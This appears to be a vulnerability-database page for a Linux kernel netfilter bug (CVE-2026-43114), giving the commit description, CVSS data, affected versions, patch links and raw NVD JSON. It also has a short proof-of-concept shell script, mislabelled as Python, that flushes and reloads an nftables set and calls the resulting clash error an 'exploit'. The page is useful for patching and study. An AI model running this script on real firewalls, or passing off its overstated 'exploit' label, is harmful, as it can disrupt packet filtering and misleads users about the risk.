CVE-2026-43114

Description

In the Linux kernel, the following vulnerability has been resolved: netfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry New test case fails unexpectedly when avx2 matching functions are used. The test first loads a ranomly generated pipapo set with 'ipv4 . port' key, i.e. nft -f foo. This works. Then, it reloads the set after a flush: (echo flush set t s; cat foo) | nft -f - This is expected to work, because its the same set after all and it was already loaded once. But with avx2, this fails: nft reports a clashing element. The reported clash is of following form: We successfully re-inserted a . b c . d Then we try to insert a . d avx2 finds the already existing a . d, which (due to 'flush set') is marked as invalid in the new generation. It skips the element and moves to next. Due to incorrect masking, the skip-step finds the next matching element *only considering the first field*, i.e. we return the already reinserted "a . b", even though the last field is different and the entry should not have been matched. No such error is reported for the generic c implementation (no avx2) or when the last field has to use the 'nft_pipapo_avx2_lookup_slow' fallback. Bisection points to 7711f4bb4b36 ("netfilter: nft_set_pipapo: fix range overlap detection") but that fix merely uncovers this bug. Before this commit, the wrong element is returned, but erronously reported as a full, identical duplicate. The root-cause is too early return in the avx2 match functions. When we process the last field, we should continue to process data until the entire input size has been consumed to make sure no stale bits remain in the map.

CVSS Details

CVSS Score

9.4

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (Fixed in commit 07de44424bb7, 0abbc43f71d, 3d53f9aafd4, d3c0037ffe1, fa4f1f52528)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC for CVE-2026-43114: nft_set_pipapo_avx2 logic error
# This script attempts to trigger the clash detection bug by flushing and reloading a set.

TABLE="poc_table"
SET="poc_set"

# Clean up previous runs
nft delete table ip $TABLE 2>/dev/null || true

# Create table and set with concat key (ipv4 . port)
nft add table ip $TABLE
nft add set ip $TABLE $SET { type ipv4_addr . inet_service \; flags interval \; }

# Create a temporary file with set elements
echo "add element ip poc_table poc_set { 192.168.1.1 . 80, 10.0.0.1 . 443 }" > /tmp/nft_poc.conf

# 1. Load the set initially
nft -f /tmp/nft_poc.conf
if [ $? -ne 0 ]; then echo "Initial load failed"; exit 1; fi

echo "Initial load successful. Attempting flush and reload..."

# 2. Flush the set and reload (The trigger)
# This mimics the test case: (echo flush set t s; cat foo) | nft -f -
(echo "flush set ip $TABLE $SET"; cat /tmp/nft_poc.conf) | nft -f -

# Check result
if [ $? -eq 0 ]; then
    echo "Exploit failed: Set reloaded successfully (bug not triggered or fixed)."
else
    echo "Exploit successful: nft reported a clash (bug triggered)."
fi

# Cleanup
nft delete table ip $TABLE

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43114
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43114
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43114/
[4] VulDB https://vuldb.com/cve/CVE-2026-43114
[5] https://git.kernel.org/stable/c/07de44424bb7f17ef9357e8535df96d9e97c40cb
[6] https://git.kernel.org/stable/c/0abbc43f71d99baadeeba6fa3fe1c80b676f57ed
[7] https://git.kernel.org/stable/c/3d53f9aafd469ae1ea27051e00f5b96ca1b55d52
[8] https://git.kernel.org/stable/c/d3c0037ffe1273fa1961e779ff6906234d6cf53c
[9] https://git.kernel.org/stable/c/fa4f1f52528c73989d820f32bfca06bec5afeece

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43114", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T10:16:25.163", "lastModified": "2026-05-08T17:54:04.753", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nft_set_pipapo_avx2: don't return non-matching entry on expiry\n\nNew test case fails unexpectedly when avx2 matching functions are used.\n\nThe test first loads a ranomly generated pipapo set\nwith 'ipv4 . port' key, i.e. nft -f foo.\n\nThis works. Then, it reloads the set after a flush:\n(echo flush set t s; cat foo) | nft -f -\n\nThis is expected to work, because its the same set after all and it was\nalready loaded once.\n\nBut with avx2, this fails: nft reports a clashing element.\n\nThe reported clash is of following form:\n\n We successfully re-inserted\n a . b\n c . d\n\nThen we try to insert a . d\n\navx2 finds the already existing a . d, which (due to 'flush set') is marked\nas invalid in the new generation. It skips the element and moves to next.\n\nDue to incorrect masking, the skip-step finds the next matching\nelement *only considering the first field*,\n\ni.e. we return the already reinserted \"a . b\", even though the\nlast field is different and the entry should not have been matched.\n\nNo such error is reported for the generic c implementation (no avx2) or when\nthe last field has to use the 'nft_pipapo_avx2_lookup_slow' fallback.\n\nBisection points to\n7711f4bb4b36 (\"netfilter: nft_set_pipapo: fix range overlap detection\")\nbut that fix merely uncovers this bug.\n\nBefore this commit, the wrong element is returned, but erronously\nreported as a full, identical duplicate.\n\nThe root-cause is too early return in the avx2 match functions.\nWhen we process the last field, we should continue to process data\nuntil the entire input size has been consumed to make sure no stale\nbits remain in the map."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.7", "versionEndExcluding": "6.6.136", "matchCriteriaId": "BC0C578E-B609-43BE-90EB-06C9FE9CA83D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/07de44424bb7f17ef9357e8535df96d9e97c40cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/0abbc43f71d99baadeeba6fa3fe1c80b676f57ed", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/3d53f9aafd469ae1ea27051e00f5b96ca1b55d52", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d3c0037ffe1273fa1961e779ff6906234d6cf53c", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fa4f1f52528c73989d820f32bfca06bec5afeece", ... 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